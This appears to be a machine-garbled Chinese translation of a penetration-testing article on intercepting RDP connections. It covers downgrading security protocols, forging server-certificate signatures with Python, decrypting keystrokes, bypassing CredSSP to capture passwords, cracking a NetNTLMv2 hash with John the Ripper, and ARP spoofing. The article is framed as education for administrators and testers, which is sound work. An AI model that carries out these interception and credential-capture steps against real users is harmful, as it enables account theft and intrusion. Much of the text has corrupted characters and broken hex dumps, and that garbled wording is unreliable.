原文首发:看雪论坛
[翻译]攻击长途桌面协议(RDP)-若何窃听不平安的 RDP 毗连
引言
长途桌面协议是系统办理员用来连上微软末端机办事的电脑。可能最常见的是,它被用来在关键办事器上施行办理员使命,好比说拥有高权限的账户的域控造器,那中间的证书就是通过RDP协议传输的。因而,设置装备摆设一个平安的RDP十分重要。
我们在SySS(State-of-the-Art of IT System Intrusion)经常见到因为错误地设置装备摆设,在系统办理员活动目次情况中呈现那种警告:
移除 点击此处添加图片申明文字
Figure 1: An SSL certificate warning
若是你经常碰到如许的警告,你就不克不及识别出实正的中间人攻击。本文旨在进步认实看待认证警告的重要性和意义,以平安地设置装备摆设您的Windows情况。合适本文的读者为系统办理员,渗入测试人员和平安喜好者。固然不是必需的,但你对下面几个方面更好有个认识:
--公钥密码体系体例和对称密码体系体例RSA和RC4)
--SSL(Secure Sockets Layer 平安套接层)
--– x509 certificates(x509证书)
--TCP(Transmission Control Protocol 传输控造协议)
--python
--– Hexadecimal numbers and binary code(十六进造数值和二进造代码)
我们将会演示若何通过中间人攻击来嗅探你的证书,若是你不小心的话。那都不是新颖的手艺,以前就呈现过,好比说Cain &Abel项目。然而,Cain项目呈现很久了,却闭源而且只撑持Windows。我们想要阐发所有与RDP 内部工做相关的细节,然后尽可能接近地模仿出一个实在的攻击。
毫无疑问的是, 你不克不及按照那篇文章中的发现来拜候未经受权的系统。它们只能在系统办理员完全同意的情况下用做教学目标。不然,按照你的管辖权,你十分有可能冒犯法令。
关于那些没有耐心的,指向源代码的链接见【1】。
初见协议
让我们先翻开wireshark,看看通过RDP协议毗连到一个办事器会发作什么。
移除 点击此处添加图片申明文字
图2: 在Wireshark中的RDP会话起头
正如上图,客户端起首提出了用于RDP会话的平安协议。 我们区分出了那三个协议:
--StandardRDPsecurity
--EnhancedRDPsecurityorTLS security
--CredSSP
在那个例子中,客户端可以施行前两个协议。需要留意的是,尺度的RDP协议始末十分平安而且不需要被客户端提醒。TLS,或者“加强的RDP平安”,只是尺度的RDP平安,被加密在TLS隧道里。在以下全文,我会持续用术语 SSL和 TLS 来描述。
CredSSP也在TLS隧道内,但不是通过受庇护的隧道中来传输密码,Kerberos或者NTLM也用做身份认证。 那个协议也称为收集级认证(NetworkLevelAuthentication)。
早期的用户认证是允许办事器在提交任何根据之前回绝拜候的功用(除了用户名),例如,若是用户没有需要的长途拜候特权的话。
在我们的Wireshark会话中,我们能够看到在客户端和办事器端同意利用加强的RDP平安协议后施行SSL握手协议。为此,我们点击第一个数据包的协商报文 ,接着将TCP流解码为SSL:
移除 点击此处添加图片申明文字
图3: SSL握手起头
若是我们想中间人来完成RDP毗连的话,我们就不克不及只是利用SSL代办署理,因为代办署理需要能够识别RDP协议。当第一次SSL握手的时候,需要识别出来,和SMTP 或者 FTP协议里的StartTLS类似。 在那用python来实现那个代办署理的感化。为此,我们只需创建受害者的办事器套接字,客户端毗连到现实办事器端。若是需要的话,我们将其封拆在SSL套接字中并转发那些数据。当然,我们也会亲近查抄可能修改被修改的数据。
起首我们要修改是客户端的协议功用。客户端可能想告诉办事器它撑持CredSSP,但是我们将在到办事器的通路中间改动尺度的RDP平安性。在那里默认设置装备摆设,办事器将快乐地遵守。
为RDP构造一个基于python的中间人代办署理
Python代码的次要法式如下
移除 点击此处添加图片申明文字
函数 Run() 成立 sockets通信,处置协商协议并启用SSL,若是需要的话。之后在两个套接字之间转发数据。若是有调试标记的话,函数dump()会把数据以十六进造的形式打印出来。函数parse_rdp()从数据中提取一些有用的信息,函数tamper_data()会做一些响应的修改。
根本的密码学常识
因为我们要破解尺度的RDP平安,我想先讲下RSA的根本常识。你能够跳过那部门。
在RSA中,加密解密,签名都是纯数学运算,只是凭仗整数来完成。只需要记住所有的那些操做都是在有限群范畴内。
当你在生成RSA密钥对时,你需要找到两个大素数p和q。取他们的乘积,N = PQ(那就是所谓的模数),计算φ(N)=(P - 1)(Q - 1)(欧拉函数),并选个和φ(N)互量的整数e。则d必然满足下式:
e · d ≡ 1 mod φ(n).
d是私钥,而e和n构成公钥。当然,从理论上d能够通过n和e算出来。除非你晓得p和q,不然φ(n)是很难算出来。那就是为什么RSA的平安性很大水平上取决于合成大素数的难度。到目前为行,没有人晓得若何快速计算大素数 - 除非你有一个量子计算机[4,5]。
为了加密原文m,计算m的e次方模上n:
c ≡ me mod n
为领会密密文c,只要把e换成d即可:
m ≡ cd mod n
若是你不是很大白的话,别担忧那只是逆加密操做。数学证明的话,关于本文来说就复杂了。
签名与解密不异。你只是在动静的散列上施行它。
因为那些操做能够破费相当大代价,当m或c是大于256位的数时,则凡是只利用RSA加密的对称密钥。用对称密码新产生的密钥来对现实动静停止加密(凡是是AES)。
毁坏尺度的RDP平安
其实,没有太多要破解的。从设想上来说它就有问题,我会告诉你为什么。
尺度RDP平安的工做体例是如许的:
- 客户端暗示它筹算利用尺度RDP平安协议。
- 办事器同意,并把它本身的RSA公钥和一个“办事器随机数”发送给客户端。该公钥加上一些其他信息(如主机名等)被称为“证书”。该证书是利用私钥末端办事,以确保实在性。
- 客户端通过利用末端办事公钥验证证书。若是胜利的话,它利用办事器的公钥来加密“客户端随机数”,并将其发送给办事器。
- 办事器用私钥解密客户端随机数。
- 办事器和客户端从对方的随机数导出会话密钥[6]。
密钥用于对称加密会话的其余部门。
留意所有那一切都是以明文形式传输,而不是在SSL隧道内部。原则上是好的,微软想和SSL所做的那样实现不异的手艺。然而,密码学是很难的[7],而且一般来说,你应该去选用那些禁受时间考验的处理法子,而非实现本身的。而微软马上就犯了一个严重错误。错误太明显了以致于我不大白他们为什么如许做。
你能发现那里的错误吗?客户若何得到末端办事公钥呢?谜底是:它是预拆的。那意味着每个系统上不异的密钥。那意味着私钥始末是不异的!因而,它能够从任何Windows安拆过程中得到。事实上,我们以至不需要那样做,因为如今微软官方已经正式发布,我们能够在http://microsoft.com [8]查看。
会话密钥被导出后,对称加密能够在几个条理长进行[9]:无,40位RC4,56位RC4,128位RC4,或3DES(他们称之为FIPS)。默认值是128位RC4(“高”)。但若是我们能够窃听到密钥,加密有多强就底子不重要了。
所以方案很明白:当碰到办事器的公钥,我们快速生成本身同样大小的RSA密钥对,并笼盖它本来的密钥。当然,我们需要用末端私钥办事来生成我们公钥的签名,并用它取代本来的签名。然后,客户端胜利地验证了我们伪造的公钥,我们收到了客户端的随机数。用私钥来解密它,把它记录下来,用客户端公钥从头加密它。就是如许!从如今起头,我们就能够解析客户端和办事器端的加密流量了。
独一的挑战是准确地解析RDP报文。那恰好是我们感兴趣的部门:
1 From server:
2 00000000: 03 00 02 15 02 F0 80 7F 66 82 02 09 0A 01 00 02 ........f.......
3 00000010: 01 00 30 1A 02 01 22 02 01 03 02 01 00 02 01 01 ..0...".........
4 00000020: 02 01 00 02 01 01 02 03 00 FF F8 02 01 02 04 82 ................
5 00000030: 01 E3 00 05 00 14 7C 00 01 2A 14 76 0A 01 01 00 ......|..*.v....
6 00000040: 01 C0 00 4D 63 44 6E 81 CC 01 0C 10 00 04 00 08 ...McDn.........
7 00000050: 00 00 00 00 00 01 00 00 00 03 0C 10 00 EB 03 04 ................
8 00000060: 00 EC 03 ED 03 EE 03 EF 03 02 0C AC 01 02 00 00 ................
Vollmer | Attacking RDP7
9 00000070: 00 02 00 00 00 20 00 00 00 78 01 00 00 D9 5E A3 ..... ...x....^.
10 00000080: AA D6 F6 80 EB 0B 3E 1D 8D 30 B3 AB 6A AE 26 07 ......>..0..j.&.
11 00000090: EF 89 3D CB 15 98 AE 22 7E 4B 2B AF 07 01 00 00 ..=...."~K+.....
12 000000A0: 00 01 00 00 00 01 00 00 00 06 00 1C 01 52 53 41 .............RSA
13 000000B0: 31 08 01 00 00 00 08 00 00 FF 00 00 00 01 00 01 1...............
14 000000C0: 00 AF 92 E8 20 AC D5 F7 BB 9F CF 6F 6E 2C 63 07 .... ......on,c.
15 000000D0: 34 CC A7 7A 21 AB 29 8A 1B 5D FE FD 43 F1 10 FC 4..z!.)..]..C...
16 000000E0: DB C6 D6 4B F1 B7 E1 B9 5E F7 68 46 58 EF 09 39 ...K....^.hFX..9
17 000000F0: 08 03 0F 54 0C 58 FA 3E A3 4A 50 F6 91 E9 41 F8 ...T.X.>.JP...A.
18 00000100: 89 1D CC 14 3C 64 0B 1D 2B 0C 98 DF 63 D6 A6 72 ....
19 00000110: 42 ED AC CB 88 44 85 47 D3 89 45 BA BD 9F 2D D0 B....D.G..E...-.
20 00000120: D5 0E 24 09 AD 02 2B 9D 37 18 DD 12 8B F6 21 5B ..$...+.7.....![
21 00000130: 20 47 33 52 9C 00 32 BA E7 83 80 7F AA 3C F3 C7 G3R..2......<..
22 00000140: 95 DD 84 C2 4E 5E 0C 27 52 74 FC 87 0E 10 D9 42 ....N^.Rt.....B
23 00000150: 19 0D F5 77 57 3F 71 4F 9C 34 0F 12 F8 E8 B0 59 ...wW?qO.4.....Y
24 00000160: F7 CD 09 F9 A5 25 AE 6A CB E6 CB 88 24 DA D2 46 .....%.j....$..F
25 00000170: 42 21 21 94 2E 6D 42 FF 9F AF 89 E3 BA EC CC DA B!!..mB.........
26 00000180: 15 71 5D 17 A9 5A 00 59 D4 AD EA E4 93 58 06 5B .q]..Z.Y.....X.[
27 00000190: F7 22 2A 1F DD DC C6 27 30 2A 25 10 B1 A8 40 98 ."*....0*%...@.
28 000001A0: 6B 24 B6 4E 2A 79 B7 40 27 F4 BE 07 35 80 50 48 k$.N*y.@...5.PH
29 000001B0: 72 A4 0D 2B AA B0 5C 89 C0 96 2A 49 1E BC A1 AB r..+..\...*I....
30 000001C0: D0 00 00 00 00 00 00 00 00 08 00 48 00 3D 5F 11 ...........H.=_.
31 000001D0: A1 C1 38 09 1B B1 85 52 1E D1 03 A1 1E 35 E7 49 ..8....R.....5.I
32 000001E0: CC 25 C3 3C 6B 98 77 C2 87 03 C4 F5 78 09 78 F1 .%.
33 000001F0: 43 21 07 BD AB EE 8E B0 F6 BC FC B0 A6 6A DD 49 C!...........j.I
34 00000200: A0 F1 39 86 FE F1 1E 36 3C CE 69 C0 62 00 00 00 ..9....6<.i.b...35 00000210: 00 00 00 00 00
.....
我加粗了那些暗示公共密钥的字节。它前面的两个字节暗示它的长度(0x011c)little-endian字节挨次(0x011c)。正如我们之前讨论的,公共密钥由模数和公共指数构成。阅读RDP标准[10]来领会数据构造的细节。
让我们来看看该信息确实是我们感兴趣的。模数如下:
1 00000000: AF92 E820 ACD5 F7BB 9FCF 6F6E 2C63 0734 ... ......on,c.4
2 00000010: CCA7 7A21 AB29 8A1B 5DFE FD43 F110 FCDB ..z!.)..]..C....
3 00000020: C6D6 4BF1 B7E1 B95E F768 4658 EF09 3908 ..K....^.hFX..9.
4 00000030: 030F 540C 58FA 3EA3 4A50 F691 E941 F889 ..T.X.>.JP...A..
5 00000040: 1DCC 143C 640B 1D2B 0C98 DF63 D6A6 7242 ...
6 00000050: EDAC CB88 4485 47D3 8945 BABD 9F2D D0D5 ....D.G..E...-..
7 00000060: 0E24 09AD 022B 9D37 18DD 128B F621 5B20 .$...+.7.....![
8 00000070: 4733 529C 0032 BAE7 8380 7FAA 3CF3 C795 G3R..2......<...
9 00000080: DD84 C24E 5E0C 2752 74FC 870E 10D9 4219 ...N^.Rt.....B.
10 00000090: 0DF5 7757 3F71 4F9C 340F 12F8 E8B0 59F7 ..wW?qO.4.....Y.
11 000000A0: CD09 F9A5 25AE 6ACB E6CB 8824 DAD2 4642 ....%.j....$..FB
12 000000B0: 2121 942E 6D42 FF9F AF89 E3BA ECCC DA15 !!..mB..........
13 000000C0: 715D 17A9 5A00 59D4 ADEA E493 5806 5BF7 q]..Z.Y.....X.[.
14 000000D0: 222A 1FDD DCC6 2730 2A25 10B1 A840 986B "*....0*%...@.k
15 000000E0: 24B6 4E2A 79B7 4027 F4BE 0735 8050 4872 $.N*y.@...5.PHr
16 000000F0: A40D 2BAA B05C 89C0 962A 491E BCA1 ABD0 ..+..\...*I.....
17 00000100: 0000 0000 0000 0000 ........
签名是:1 00000000: 3D5F 11A1 C138 091B B185 521E D103 A11E =_...8....R.....
2 00000010: 35E7 49CC 25C3 3C6B 9877 C287 03C4 F578 5.I.%.
3 00000020: 0978 F143 2107 BDAB EE8E B0F6 BCFC B0A6 .x.C!...........
4 00000030: 6ADD 49A0 F139 86FE F11E 363C CE69 C062 j.I..9....6<.i.b
5 00000040: 0000 0000 0000 0000 ........办事器端随机数:
1 00000000: D95E A3AA D6F6 80EB 0B3E 1D8D 30B3 AB6A .^.......>..0..j2 00000010: AE26 07EF 893D CB15 98AE 227E 4B2B AF07 .&
所有的都是小端字节序。我们留意到在办事器随机数,并替代了两个值。
利用OpenSSL来生成RSA密钥。有个Python库也能够实现RSA,但它效率和openssl比的话太低了
1 $ openssl genrsa 512 | openssl rsa -noout -text
2 Generating RSA private key, 512 bit long modulus
3 .....++++++++++++
4 ..++++++++++++
5 e is 65537 (0x01001)
6 Private-Key : (512 bit)
7 modulus:
8 00:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7:
9 e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88:
10 81:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1:
11 21:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31:
12 64:b4:98:1f:d7
13 PublicExponent:65537(0x10001)
14 privateExponent:
15 00:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a:
16 88:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d:
17 cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee:
18 05:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2:
19 8a:f6:47:38:c1
20 prime1:
21[...]
在那里我们能够看到模数n,公钥e和私钥d。它们都是以16进造的大端字节序的形式暗示的。我们现实需要2048位的密钥,而不是512位的,但你有一个设法,伪造签名是很容易的。我们采纳的证书的前六块的MD5哈希值,参照规格[11]加上一些常量,并用末端办事密钥【8】的私有部门停止加密。下面是它的python实现:
1
2 def sign_certificate(cert):
3 """Signs the certificate with the private key"""
4 m = hashlib.md5()
5 m.update(cert)
6 m = m.digest() + b"\x00" + b"\xff"*45 + b"\x01"
7 m = int.from_bytes(m, "little")
8 d = int.from_bytes(TERM_PRIV_KEY["d"], "little")
9 n = int.from_bytes(TERM_PRIV_KEY["n"], "little")
10 s = pow(m, d, n)
11 return s.to_bytes(len(crypto["sign"]), "little")
我们需要拦截的下一条动静是一个包罗加密的客户端随机。它看起来是如许的
1
From client:
2 00000000: 03 00 01 1F 02 F0 80 64 00 08 03 EB 70 81 10 01 .......d....p...
3 00000010: 02 00 00 08 01 00 00 DD 8A 43 35 DD 1A 12 99 44 .........C5....D
4 00000020: A1 3E F5 38 5C DB 3F 3F 40 D1 ED C4 A9 3B 60 6A .>.8\.??@....;`j
5 00000030: A6 10 5A AF FD 17 7A 21 43 69 D0 F8 9B F1 21 A3 ..Z...z!Ci....!.
6 00000040: F1 49 C6 80 96 03 62 BF 43 54 9D 38 4D 68 75 8C .I....b.CT.8Mhu.
7 00000050: EA A1 69 23 2F F6 E9 3B E7 E0 48 A1 B8 6B E2 D7 ..i#/..;..H..k..
8 00000060: E2 49 B1 B2 1B BF BA D9 65 0B 34 5A B0 10 73 6E .I......e.4Z..sn
9 00000070: 4F 15 FA D7 04 CA 5C E5 E2 87 87 ED 55 0F 00 45 O.....\.....U..E
10 00000080: 65 2C C6 1A 4C 09 6F 27 44 54 FE B6 02 1C BA 9F e,..L.oDT......
11 00000090: 3B D8 D0 8D A5 E6 93 45 0C 9B 68 36 5C 93 16 79 ;......E..h6\..y
12 000000A0: 0B B8 19 BF 88 08 5D AC 19 85 7C BB AA 66 C4 D9 ......]...|..f..
13 000000B0: 8E C3 11 ED F3 8D 27 60 8A 08 E0 B1 20 1D 08 9A ......`.... ...
14 000000C0: 97 44 6D 33 23 0E 5C 73 D4 02 4C 20 97 5C C9 F6 .Dm3#.\s..L .\..
15 000000D0: 6D 31 B2 70 35 39 37 A4 C2 52 62 C7 5A 69 54 44 m1.p597..Rb.ZiTD
16 000000E0: 4C 4A 75 D2 63 CC 52 15 8F 6E 2A D8 0D 61 A5 0A LJu.c.R..n*..a..
17 000000F0: 47 5B 2A 68 97 7B 1B FF D3 33 10 49 15 9A D6 2C G[*h.{...3.I...,
18 00000100: DF 04 6D 93 21 78 32 98 8B 0B F4 01 33 FB CC 5B ..m.!x2.....3..[
19 00000110: 83 BA 2D 7F EA 82 3B 00 00 00 00 00 00 00 00 ..-...;........同样,我强调了加密的客户端随机。它前面的四个字节暗示它的长度(0x0108)。因为是用我们的证书加密的,所以我们能够很容易地将其解密:
1 00000000: 4bbd f97d 49b6 8996 ec45 0ce0 36e3 d170 K..}I....E..6..p
2 00000010: 65a8 f962 f487 5f27 cd1f 294b 2630 74e4 e..b.._..)K&0t.我们只需要利用办事器的公钥从头停止加密,而且在传输将替代它替代下。
不巧的是,我们还没做完。我们如今晓得奥秘的客户端随机,但不论是什么原因微软决定不但是利用对称密钥。有一个详细的过程[6]派生的客户端的加密密钥,办事器端的加密密钥和签名密钥。它很无趣但是了然。
之后,我们得出的会话密钥,我们能够初始化s盒用RC4流。因为RDP承受来自办事器的动静时比来自客户端的多个分离的密钥,我们需要两个S盒。S盒是一个256个字节数组按照密钥以一种特定体例变更。然后S盒生成伪随机数的流,那些都是数据流彼此异或得到的。我的Python实现如下
正如你所看到的,该协议在加密4096个包之后需要更新密钥。我还没有花心思去实现它,因为我只对做为概念验证的证书感兴趣。随意给我一个补钉!
如今,我们筹办好读取流量用到的所有工具了。我们关于那些包罗键盘输入事务的包出格感兴趣,即按键和按键释放。我从标准[12]搜集了包罗多个数据包的动静,有些是迟缓途径的数据包(以0x03起头),有些是快速途径数据包(第一个字节能够被4整除)。
一次键盘输入事务[13] 由两个字节构成,例如:
00000000: 01 1F
那意味着做了“S”键(0x1F)已经按过了(因为第一个字节为0x01)。
我不是很擅长阐发那些,因为有时鼠标挪动事务会被键盘事务检测到。因而,该扫描码需要转换为虚拟键码,它取决于键盘类型和规划。那似乎没什么意义,所以我筹算做。我只是利用了参考【14】中的地图。那是足够好的概念证明。
让我们来测验考试一下。一旦毗连到我们的伪造的RDP办事器,我们已经收到了警告,办事器的实在性无法验证:
移除 点击此处添加图片申明文字
图4: 办事器的身份不克不及验证通过
留意到什么了吗?那不是一个SSL警告。不管如何,我们如今能够看到按键(见图5)。
趁便说一句,那就是Cain正在做的。
毁坏加强的RDP平安
对我来说,降级到尺度RDP的平安性是不克不及令人感应满意的。若是我是攻击者,我会尽量让攻击看起来地一般。受害者会发现与日常平凡纷歧样的警告,在成立毗连之后需要输入他们的证书。
当我和Cain做为中间人攻击RDP毗连时,老是很困扰看不到不异的SSL警告,。我发现很难给客户解释为什么要把稳SSL警告,出格是若是他们利用本身签名的证书时可能不需要停止验证,若是那个MITM东西显示了一个完全差别的警告时。
移除 点击此处添加图片申明文字
图5: 以明文形式的键盘输入事务。密码是 Secr3t!
所以让我们测验考试降级到加强的RDP平安的毗连。关于那一点,我们需要本身签名的SSL
证书,那能够通过OpenSSL产生:
1 $ openssl req -new -newkey rsa:"$KEYLENGTH" -days "$DAYS" -nodes -x509 \
2 -subj "$SUBJ" -keyout privatekey.key -out certificate.crt 2> /dev/null
我们在准确的时间换了SSL包内的Python TCP套接字而且胜利了。前面我说过尺度RDP协议用在SSL隧道内部,但办事器老是选择“无”做为加密级别。如许很好,因为它能够平安地假设SSL包确保了数据的实在性和完好性。在SSL的顶端利用RC4算法是一种浪费资本的表现。击键的提取工做完全和以前的部门一样。
独一额外的平安功用是由办事器确认本来的协议协商。在SSL毗连成立后,办事器告诉客户端:“对了,你告诉我你撑持哪些平安协议“。二进造形式如下:
From server:
1 00000000: 03 00 00 70 02 F0 80 7F 66 66 0A 01 00 02 01 00 ...p....ff......
2 00000010: 30 1A 02 01 22 02 01 03 02 01 00 02 01 01 02 01 0..."...........
3 00000020: 00 02 01 01 02 03 00 FF F8 02 01 02 04 42 00 05 .............B..
4 00000030: 00 14 7C 00 01 2A 14 76 0A 01 01 00 01 C0 00 4D ..|..*.v.......M
5 00000040: 63 44 6E 2C 01 0C 10 00 04 00 08 00 01 00 00 00 cDn,............7 00000050: 01 00 00 00 03 0C 10 00 EB 03 04 00 EC 03 ED 03 ................
8 00000060: EE 03 EF 03 02 0C 0C 00 00 00 00 00 00 00 00 00 ................然后,客户端会把那个值和它第一次恳求的值做比力,若是不婚配的话,末行毗连。显然,为时已晚。我们在中间的位置,能够通过用它的原始值(即0x03)来替代准确的字节(凸起显示的偏移量0x4C处)从而隐藏伪造的来自客户端的协商恳求。
在此之后,我们可以以明文形式看到所有的工具。来吧,测验考试一下。
正如预期的那样,受害者看到了准确的SSL警告。但是,仍是有点纷歧样的。在RDP毗连成立之前没有提醒说我们的证书,而是受害者看到了windows登录窗口。不像NLA,认证在会话过程中。同样,有些工具差别于典型的办理员的工做流程,而且可能被留意到。
阻断 CredSSP
好吧,我就在那里认可那一点:我们是不会阻断CredSSP的。但是,我们会找到一个办法来躲避它。
起首,让我们来看看,若是我们不降级毗连的话会发作什么。发送到办事器的一条相关信息如下:
1 From client:
2 00000000: 30 82 02 85 A0 03 02 01 04 A1 82 01 DA 30 82 01 0............0..
3 00000010: D6 30 82 01 D2 A0 82 01 CE 04 82 01 CA 4E 54 4C .0...........NTL
4 00000020: 4D 53 53 50 00 03 00 00 00 18 00 18 00 74 00 00 MSSP.........t..
5 00000030: 00 2E 01 2E 01 8C 00 00 00 08 00 08 00 58 00 00 .............X..
6 00000040: 00 0A 00 0A 00 60 00 00 00 0A 00 0A 00 6A 00 00 .....`.......j..
7 00000050: 00 10 00 10 00 BA 01 00 00 35 82 88 E2 0A 00 39 .........5.....9
8 00000060: 38 00 00 00 0F 6D 49 C4 55 46 C0 67 E4 B4 5D 86 8....mI.UF.g..].
9 00000070: 8A FC 3B 59 94 52 00 44 00 31 00 34 00 55 00 73 ..;Y.R.D.1.4.U.s
10 00000080: 00 65 00 72 00 31 00 57 00 49 00 4E 00 31 00 30 .e.r.1.W.I.N.1.0
11 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
12 000000A0: 00 00 00 00 00 00 00 00 00 11 0D 65 8E 92 7F 07 ...........e....
13 000000B0: 7B 04 02 04 0C C1 A6 B6 EF 01 01 00 00 00 00 00 {...............
14 000000C0: 00 D5 FD A8 7C EC 95 D2 01 A7 55 9D 44 F4 31 84 ....|.....U.D.1.
15 000000D0: 8A 00 00 00 00 02 00 08 00 52 00 44 00 31 00 34 .........R.D.1.4
16 000000E0: 00 01 00 08 00 44 00 43 00 30 00 31 00 04 00 14 .....D.C.0.1....
17 000000F0: 00 72 00 64 00 31 00 34 00 2E 00 6C 00 6F 00 63 .r.d.1.4...l.o.c
18 00000100: 00 61 00 6C 00 03 00 1E 00 64 00 63 00 30 00 31 .a.l.....d.c.0.1
19 00000110: 00 2E 00 72 00 64 00 31 00 34 00 2E 00 6C 00 6F ...r.d.1.4...l.o
20 00000120: 00 63 00 61 00 6C 00 05 00 14 00 72 00 64 00 31 .c.a.l.....r.d.1
21 00000130: 00 34 00 2E 00 6C 00 6F 00 63 00 61 00 6C 00 07 .4...l.o.c.a.l..
22 00000140: 00 08 00 D5 FD A8 7C EC 95 D2 01 06 00 04 00 02 ......|.........
23 00000150: 00 00 00 08 00 30 00 30 00 00 00 00 00 00 00 00 .....0.0........
24 00000160: 00 00 00 00 20 00 00 4C FA 6E 96 10 9B D9 0F 6A .... ..L.n.....j
25 00000170: 40 80 DA AA 8E 26 4E 4E BF AF FA E9 E3 68 AF 78 @....&NN.....h.x
26 00000180: 7F 53 E3 89 D9 6B 18 0A 00 10 00 00 00 00 00 00 .S...k..........
27 00000190: 00 00 00 00 00 00 00 00 00 00 00 09 00 2C 00 54 .............,.T
28 000001A0: 00 45 00 52 00 4D 00 53 00 52 00 56 00 2F 00 31 .E.R.M.S.R.V./.1
29 000001B0: 00 39 00 32 00 2E 00 31 00 36 00 38 00 2E 00 34 .9.2...1.6.8...4
30 000001C0: 00 30 00 2E 00 31 00 37 00 39 00 00 00 00 00 00 .0...1.7.9......
31 000001D0: 00 00 00 00 00 00 00 19 0A F7 ED 0C 45 C0 80 73 ............E..s
32 000001E0: 53 74 1A AB AF 13 B4 A3 81 9F 04 81 9C 01 00 00 St..............
33 000001F0: 00 7F 38 FE A6 32 5E 4E 57 00 00 00 00 42 B4 6E ..8..2^NW....B.n
34 00000200: 39 09 AA CC 8F 04 71 5C 54 CF AD E0 A0 58 AA 06 9.....q\T....X..
35 00000210: B2 F0 0A 33 05 03 54 60 FB E1 68 FC F5 0D A9 C0 ...3..T`..h.....
36 00000220: D9 57 BA 43 F2 92 F7 6F 32 74 4E 86 CD 7F F0 3B .W.C...o2tN....;
37 00000230: DD A4 A4 67 0A B7 7E 64 0B 63 D7 4B F7 C6 B7 8F ...g..~d.c.K....
38 00000240: 21 15 9D EA 3E E1 1A 50 AB AA D3 6E 46 9D 68 6E !...>..P...nF.hn
39 00000250: 2A EA 44 5C E0 51 1D 41 B4 13 EB B9 90 E8 75 AD *.D\.Q.A......u.
40 00000260: A0 99 4E F2 A5 99 D4 8D 2A 11 73 F1 95 FC 7E A0 ..N.....*.s...~.
41 00000270: 06 FD 13 DB D0 3B 7A B4 41 97 B6 94 D4 11 62 F5 .....;z.A.....b.
42 00000280: 4C 06 BE 03 9C 0F 55 0E 3C L.....U.<.我强调了客户端量询和NTLM响应。无论是对旁边的天长地久。办事器量询在来自办事器的前面的动静中。
我们正在寻找在那里是NTLM身份验证[15]。那是一个挑战 - 响应手艺,此中客户端映射办事器量询(类似于早些时候办事器随机数),客户端量询,用户密码的哈希值和一些其他数的到一个加密哈希值。那个值,叫做“NTLM响应”,然后传输到办事器。
那个值是若何算出来的关于我们不是很重要。我们独一需要晓得的的工作就是它不克不及重现或用于哈希攻击。但它能够被暴力破解!底层散列算法是HMAC-MD5,所有那是一个相当简单的哈希算法(所以我们每秒钟能够破解良多次),但它也是加盐的(那就排除了彩虹表)。
如今,我们能够测验考试用Hashcat [17]或JohntheRipper[18]来破解它。John的哈希格局
如下:
1 <Username>::<Domain>:<ServerChallenge>:<ClientChallenge>:<NTLMResponse>
所以在我们的例子中会有:
User1::RD14:a5f46f6489dc654f:110d658e927f077b0402040cc1a6b6ef:0101000000000
000d5fda87cec95d201a7559d44f431848a0000000002000800520044003100340001000800
44004300300031000400140072006400310034002e006c006f00630061006c0003001e00640
06300300031002e0072006400310034002e006c006f00630061006c00050014007200640031
0034002e006c006f00630061006c0007000800d5fda87cec95d201060004000200000008003
000300000000000000000000000002000004cfa6e96109bd90f6a4080daaa8e264e4ebfaffa
e9e368af787f53e389d96b180a0010000000000000000000000000000000000009002c00540
0450052004d005300520056002f003100390032002e003100360038002e00340030002e0031
0037003900000000000000000000000000
若是我们把那个放在在一个名为hashes.txt的文件中,下面的号令可以验证我们能否做的是对的:
1 $ echo S00perS3cretPa$$word | ./john --format=netntlmv2 --stdin hashes.txt
2 Using default input encoding: UTF-8
3 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
4 Will run 8 OpenMP threads
5 Press Ctrl-C to abort, or send SIGUSR1 to john process for status
6 S00perS3cretPa$$word (User1)
7 1g 0:00:00:00 33.33g/s 33.33p/s 33.33c/s 33.33C/s S00perS3cretPa$$word
8 Use the "--show" option to display all of the cracked passwords reliably
9 Session completed
因而,那是聊胜于无。但是,我们能够做的更好。
我们需要问本身:若何在办事器端验证NTLM响应?它要求域控造器。若是域控造器不成用呢?它说:“换下思绪,让我们做加强的RDP平安而不是NLA”,客户端也将遵守。而埋怨者会说:因为客户端已经缓了用户的密码,它只会传输它,而不是将用户定向到Windows登录界面的!那恰好是我们想要的工具。除了SSL警告(受害者可能习惯了那个),什么可疑的都不会发作。
所以我们如许做:在客户端发送的NTLM响应后,我们将取代办事器如许答复:我没有找到关于那个的文档(若是你找到的话,请给我写一封电子邮件),但若是不克不及毗连到域控造器的话办事器端会若何响应。客户端将退回到加强的RDP平安,显示SSL警告,并从SSL隧道向办事器里传输密码。
做为一个侧面申明,请留意我们没有得到SSL警告。按照规格[19],客户端需要发送SSL证书的指纹到由CredSSP的协议协商的密钥加密的办事器。若是不婚配办事器证书的指纹,会话末行。那就是为什么上述工做若是受害人供给了不准确的根据 - 我们可以看到(不准确)的密码。但是,若是密码是准确的,我们将看到一个TLS内部错误。
我想出了一种法子是简单地用NTLM响应窜改。我改动了Python脚本中NTLM响应的部门,所以NTLM身份验证会不断失败。我们的受害者却不会请留意,正如我们适才看到的,我们能够降级到TLS毗连,之后根据会重发。
然而,我们需要考虑一些工作。若是客户端能够分辩出你做测验考试毗连到域毗连的计算机,它不会利用NTLM。它会利用Kerberos,那意味着成立RDP毗连恳求票证之前它会联络域控造器。那是一件功德,因为Kerberos票据比加盐的NTLM响应愈加没用。但是,若是攻击者是中间人攻击的地位的话,他可以阻遏对Kerberos办事的所有恳求。若是无法联络Kerberos办事,客户端会发作什么?没错,它会回落到NTLM。
攻击专业化
剩下的就是简单地点击几下。到目前为行,我们不断设置装备摆设尝试室情况。受害者不会通过RDP客户端进入我们的IP,他会进入本身的办事器的IP或主机名。有许多体例来获得中间人攻击的位置,但在那里我们将选择ARP棍骗的体例。很容易就能够证明那是一个概念证明。因为它是一个2层的攻击,我们必需要合被攻击者在统一子网中。
我们伪造的ARP应答后,使得IPv4流量转发所有在受害者和网关之间停止的通信将通过我们的计算机。因为我们还不晓得被攻击者输入的的IP地址,我们暂且不克不及运行python脚本。
